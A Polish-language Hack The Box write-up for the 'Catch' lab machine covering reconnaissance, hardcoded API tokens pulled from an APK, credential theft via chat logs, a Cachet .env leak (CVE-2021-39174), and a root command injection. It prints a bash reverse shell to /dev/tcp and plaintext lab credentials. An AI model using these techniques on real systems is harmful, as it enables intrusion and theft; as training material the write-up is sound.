Catch - 29.07.2022
NMap
┌[parrot@parrot]─[~/htb/catch]
└╼[★ ]$nmap -sC -sV 10.10.11.150
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-26 23:59 CEST
Nmap scan report for 10.10.11.150
Host is up (0.058s latency).
Not shown: 995 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 48:ad:d5:b8:3a:9f:bc:be:f7:e8:20:1e:f6:bf:de:ae (RSA)
| 256 b7:89:6c:0b:20:ed:49:b2:c1:86:7c:29:92:74:1c:1f (ECDSA)
|_ 256 18:cd:9d:08:a6:21:a8:b8:b6:f7:9f:8d:40:51:54:fb (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Content-Type: text/html; charset=UTF-8
| Set-Cookie: i_like_gitea=e60c248790972c27; Path=/; HttpOnly
| Set-Cookie: _csrf=41kS10x_QcKrZfK2ZvsEbZowL2o6MTY1ODg3MzU5NTczNzc1Mjg4NA; Path=/; Expires=Wed, 27 Jul 2022 22:13:15 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 26 Jul 2022 22:13:15 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-">
| <head data-suburl="">
| <meta charset="utf-8">
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <meta http-equiv="x-ua-compatible" content="ie=edge">
| <title> Catch Repositories </title>
| <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiQ2F0Y2ggUmVwb3NpdG9yaWVzIiwic2hvcnRfbmFtZSI6IkNhdGNoIFJlcG9zaXRvcmllcyIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jYXRjaC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNhdGNoLmh0Yjoz"
| HTTPOptions:
| HTTP/1.0 405 Method Not Allowed
| Set-Cookie: i_like_gitea=4fd37b7163f8237e; Path=/; HttpOnly
| Set-Cookie: _csrf=7s0raKa3foKwrWIHYinDybDpmhA6MTY1ODg3MzYwMTU0NzE5MzU1Mg; Path=/; Expires=Wed, 27 Jul 2022 22:13:21 GMT; HttpOnly; SameSite=Lax
| Set-Cookie: macaron_flash=; Path=/; Max-Age=0; HttpOnly
| X-Frame-Options: SAMEORIGIN
| Date: Tue, 26 Jul 2022 22:13:21 GMT
|_ Content-Length: 0
5000/tcp open upnp?
| fingerprint-strings:
| DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, RPCCheck, RTSPRequest, SMBProgNeg, ZendJavaBridge:
| HTTP/1.1 400 Bad Request
| Connection: close
| GetRequest:
| HTTP/1.1 302 Found
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Location: /login
| Vary: Accept, Accept-Encoding
| Content-Type: text/plain; charset=utf-8
| Content-Length: 28
| Set-Cookie: connect.sid=s%3AL1AZnkW1AQEa9HvnAHCX55B9tBVAioiX.iGHnhVQ72dbMKiYsuukGBXvh7kh7V6QPkqz199Nxfps; Path=/; HttpOnly
| Date: Tue, 26 Jul 2022 22:13:20 GMT
| Connection: close
| Found. Redirecting to /login
| HTTPOptions:
| HTTP/1.1 200 OK
| X-Frame-Options: SAMEORIGIN
| X-Download-Options: noopen
| X-Content-Type-Options: nosniff
| X-XSS-Protection: 1; mode=block
| Content-Security-Policy:
| X-Content-Security-Policy:
| X-WebKit-CSP:
| X-UA-Compatible: IE=Edge,chrome=1
| Allow: GET,HEAD
| Content-Type: text/html; charset=utf-8
| Content-Length: 8
| ETag: W/"8-ZRAf8oNBS3Bjb/SU2GYZCmbtmXg"
| Set-Cookie: connect.sid=s%3AzSDw9ojr5hWmduJFErbcZTwXFOj6Wuz3.us2lDTLK%2BUW7AHErGSarzAoGhukim%2BdQaIJ7RXJGY2c; Path=/; HttpOnly
| Vary: Accept-Encoding
| Date: Tue, 26 Jul 2022 22:13:21 GMT
| Connection: close
|_ GET,HEAD
8000/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-title: Catch Global Systems
|_http-server-header: Apache/2.4.29 (Ubuntu)
Feroxbuster
Na tej maszynie mamy wiele otwartych portów z HTTP. Jednak Feroxbuster nie znalazł dla żadnej z nich żadnych konkretnych informacji.
Strona główna (port 80)
Nic konkretnego nie ma na tej stronie, poza małym szczegółem. Pomarańczowym przyciskiem Download Now
możemy pobrać pliczek .apk
. Kiedyś bawiłem się w różne CTFy i mam już pewne obycie co należy robić i gdzie szukać w apce mobilnej. Zabrałem się za narzędzia jadx
oraz apktool
. Jeszcze tylko wspomnę, że na porcie 3000
mamy Gitea 1.14.1
.
Na porcie 5000
jest usługa Lets Chat
.
A na porcie 8000
mamy Cachet
.
jadx
W głównej funkcji znalazłem ciekawy odnośnik do https://status.catch.htb
, zatem od razu dodaję do /etc/hosts
wpisy catch.htb
status.catch.htb
. Znalazłem również w /res/values/strings.xml
ciekawe tokeny. Pokrywają się one z tym, co mamy na poszczególnych portach.
Spis wszystkich tokenów:
<string name="gitea_token">b87bfb6345ae72ed5ecdcee05bcb34c83806fbd0</string>
<string name="lets_chat_token">NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==</string>
<string name="slack_token">xoxp-23984754863-2348975623103</string>
Token od Gitea
nie chciał działać poprawnie więc przeszedłem do kolejnej usługi, czyli do Lets Chat
.
lets_chat_token
Token jest w formie Base64
. Deszyfrowanie go nie daje żadnych konkretnych informacji.
NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==
Nie wiedziałem, jak należy użyć Bearer Token
, ale po szybkim wygooglowaniu znalazłem informacje.
Zatem mamy zapytanie poprzez curl
.
┌[parrot@parrot]─[~/htb/catch]
└╼[★ ]$curl http://catch.htb:5000/rooms -H "Accept: application/json" -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNT
dmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ=="
[{"id":"61b86b28d984e2451036eb17","slug":"status","name":"Status","description":"Cachet Updates and Maintenance","lastActive":"2021-12-14T10:34:20.749Z","crea
ted":"2021-12-14T10:00:08.384Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},{"id":"61b8708efe190b466d476bfb","sl
ug":"android_dev","name":"Android Development","description":"Android App Updates, Issues & More","lastActive":"2021-12-14T10:24:21.145Z","created":"2021-12-1
4T10:23:10.474Z","owner":"61b86aead984e2451036eb16","private":false,"hasPassword":false,"participants":[]},{"id":"61b86b3fd984e2451036eb18","slug":"employees"
,"name":"Employees","description":"New Joinees, Org updates","lastActive":"2021-12-14T10:18:04.710Z","created":"2021-12-14T10:00:31.043Z","owner":"61b86aead98
4e2451036eb16","private":false,"hasPassword":false,"participants":[]}]
Dla wygody warto użyć jq
, który przedstawi output w czytelnej formie.
┌[parrot@parrot]─[~/htb/catch]
└╼[★ ]$curl http://catch.htb:5000/rooms -s -H "Accept: application/json" -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq .
[
{
"id": "61b86b28d984e2451036eb17",
"slug": "status",
"name": "Status",
"description": "Cachet Updates and Maintenance",
"lastActive": "2021-12-14T10:34:20.749Z",
"created": "2021-12-14T10:00:08.384Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
},
{
"id": "61b8708efe190b466d476bfb",
"slug": "android_dev",
"name": "Android Development",
"description": "Android App Updates, Issues & More",
"lastActive": "2021-12-14T10:24:21.145Z",
"created": "2021-12-14T10:23:10.474Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
},
{
"id": "61b86b3fd984e2451036eb18",
"slug": "employees",
"name": "Employees",
"description": "New Joinees, Org updates",
"lastActive": "2021-12-14T10:18:04.710Z",
"created": "2021-12-14T10:00:31.043Z",
"owner": "61b86aead984e2451036eb16",
"private": false,
"hasPassword": false,
"participants": []
}
]
Mamy również użytkowników -> admin
, john
, will
, lucas
┌[parrot@parrot]─[~/htb/catch]
└╼[★ ]$curl -s http://catch.htb:5000/users -H "Accept: application/json" -H "Authorization: Bearer NjFiODZhZWFkOTg0ZTI0NTEwMzZlYjE2OmQ1ODg0NjhmZjhiYWU0NDYzNzlhNTdmYTJiNGU2M2EyMzY4MjI0MzM2YjU5NDljNQ==" | jq .
[
{
"id": "61b86aead984e2451036eb16",
"firstName": "Administrator",
"lastName": "NA",
"username": "admin",
"displayName": "Admin",
"avatar": "e2b5310ec47bba317c5f1b5889e96f04",
"openRooms": [
"61b86b28d984e2451036eb17",
"61b86b3fd984e2451036eb18",
"61b8708efe190b466d476bfb"
]
},
{
"id": "61b86dbdfe190b466d476bf0",
"firstName": "John",
"lastName": "Smith",
"username": "john",
"displayName": "John",
"avatar": "f5504305b704452bba9c94e228f271c4",
"openRooms": [
"61b86b3fd984e2451036eb18",
"61b86b28d984e2451036eb17"
]
},
{
"id": "61b86e40fe190b466d476bf2",
"firstName": "Will",
"lastName": "Robinson",
"username": "will",
"displayName": "Will",
"avatar": "7c6143461e935a67981cc292e53c58fc",
"openRooms": [
"61b86b3fd984e2451036eb18",
"61b86b28d984e2451036eb17"
]
},
{
"id": "61b86f15fe190b466d476bf5",
"firstName": "Lucas",
"lastName": "NA",
"username": "lucas",
"displayName": "Lucas",
"avatar": "b36396794553376673623dc0f6dec9bb",
"openRooms": [
"61b86b28d984e2451036eb17",
"61b86b3fd984e2451036eb18"
]
}
]
Zgodnie z Githubem Lets Chat
możemy podejrzeć wiadomości w poszczególnych pokojach.
W jednej z rozmów pojawiają się dane dostępowe do status.catch.htb
.
john : E}V!mywu_69T4C}W
Udało się zalogować na Cachet
.
W opcjach widoczna jest wersja 2.4.0-dev
Wersja 2.4.0-dev
ma trzy podatności. Są one opisane w tym poście https://blog.sonarsource.com/cachet-code-execution-via-laravel-configuration-injection/. Ja postanowiłem spróbować sił z CVE-2021-39174
czyli z wyciekiem danych konfiguracyjnych z pliku .env
. Szczególnie interesowałyby nas te:
APP_KEY
DB_PASSWORD
MAIL_PASSWORD
Po wprowadzeniu zmiennych należy zapisać Save
.
A tutaj mamy efekt po odświeżeniu strony. Oto wyciek z pierwszej zmiennej APP_KEY
.
Otrzymałem następujące dane wykorzystując 3 zmienne:
${APP_KEY} -> base64:9mUxJeOqzwJdByidmxhbJaa74xh3ObD79OI6oG1KgyA=
${DB_PASSWORD} -> s2#4Fg0_%3!
${MAIL_PASSWORD} -> tutaj nic nie otrzymałem
Mam hasło, jest to jakiś punkt zaczepienia. Sprawdziłem hasło na SSH dla wszystkich userów, którzy są powyżej.
Udało się zalogować na usera will
😊
user.txt
960e9c3b788ec10ec267423976478c4c
Privilege Escalation
Nietypowy skrypt w /opt/mdm/verify.sh
.
Jak się okazuje, jest to skrypt, który przeprowadza szereg działań na plikach.apk
.
Sprawdziłem również pspy64
. Co jakiś czas box uruchamia pewien plik.
2022/07/28 19:30:05 CMD: UID=0 PID=348041 | /bin/bash /root/check.sh
Z eskalacją miałem małe zacięcie. Na forum HackTheBox
, niektóre osoby wspominały, żeby zacząć sprawdzanie skryptu od końca. Zatem warto spojrzeć na ostatnią funkcję app_check
.
Podatne na Command Injection wydaje się fragment z echo -n $APP_NAME
. Należy tylko pamiętać, że trzeba zachować fragment Catch
, aby warunek był prawdziwy. Następnie w linii poniżej po echo -n
a przed xargs -I ...
możemy umieścić swoje komendy.
Dlatego sprawdziłem, czy box spróbuje pobrać plik test z mojego serwera www.
Aby skrypt działał należy umieścić go w /opt/mdm/apk_bin
.
Jak się okazało maszyna pobrała mój plik. Zatem przygotowuje reverse shella.
Stworzyłem plik test
i umieściłem tam reverse shell bash TCP.
bash -i >& /dev/tcp/10.10.14.171/9001 0>&1
Następnie skopiowałem plik do /opt/mdm/apk_bin
.
cp /tmp/p/catch1.0_mod.apk /opt/mdm/apk_bin
Po chwili root uruchomił skrypt, a my dostaliśmy połączenie na porcie 9001.
root.txt
16ebe688e18abf71cf45d0a2887ec566
Roof proof